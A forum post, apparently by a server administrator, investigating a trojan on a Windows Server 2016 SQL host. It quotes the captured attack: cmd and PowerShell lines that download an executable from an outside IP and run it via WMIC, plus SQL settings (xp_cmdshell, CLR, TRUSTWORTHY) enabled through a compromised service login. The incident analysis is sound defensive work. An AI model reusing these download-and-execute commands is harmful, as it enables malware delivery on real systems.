On one of our Windows Datacenter 2016, there's an alert that a trojan is trying to install :

The following PowerShell commands are trying to execute at seemingly random hours of the day (always during working hours, one to two times a day, sometimes there are a few days between attempts which makes me think it's embedded in a file that is executed by the users of the machine)

CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >%TEMP%\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, %TEMP%\tzt.exe) >> %TEMP%\updt.ps1 & powershell -ExecutionPolicy Bypass %TEMP%\updt.ps1 & WMIC process call create %TEMP%\tzt.exe
CmdLine:C:\Windows\System32\cmd.exe /C echo $cl = New-Object System.Net.WebClient >C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & echo $cl.DownloadFile(http://80.66.75.36/p-Eehpf.exe, C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe) >> C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQL$SAGE100\AppData\Local\Temp\updt.ps1 & WMIC process call create C:\Users\MSSQL$SAGE100\AppData\Local\Temp\tzt.exe

So I suppose it's embedded in some kind of other files, or through a network attack, but I don't know how to investigate this to know which service/file is faulty.

Edit :

I checked into the event viewer : system logs and the detections hours by windows defender coincides with the service : App deployment services starting

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Service Control Manager" Guid="{xxx-a6d7-4695-8e1e-xxx012f4}" EventSourceName="Service Control Manager" /> 
  <EventID Qualifiers="16384">7036</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>0</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2023-03-03T13:36:51.390130000Z" /> 
  <EventRecordID>685207</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="708" ThreadID="13796" /> 
  <Channel>System</Channel> 
  <Computer>xxxx</Computer> 
  <Security /> 
  </System>
- <EventData>
  <Data Name="param1">AppX Deployment Service (AppXSVC)</Data> 
  <Data Name="param2">running</Data> 
  <Binary>4100700070005800xx4000000</Binary> 
  </EventData>
  </Event>

In the event viewer > Windows logs > Application I found that the following values are changed at the time Windows defender is triggered :

• TRUSTWORTHY new value ON for database msdb
• 'clr enabled' new value : 1
• 'show advanced options' new value : 1
• ''xp_cmdshell' new value : 1

Comming from user : MSSQL$SAGE100 which is a the sys sql user

So i suppose the user has been compromised and is used to try to issue powershell commands to the vm, I have enabled the logging for successful logins on the sql server to see if the commands are issued through an application or directly from the network.

After another attack yesterday I can confirm that someone is logging from outside with the correct credentials for an sql user of my sql server and uses this user to conduct the attack.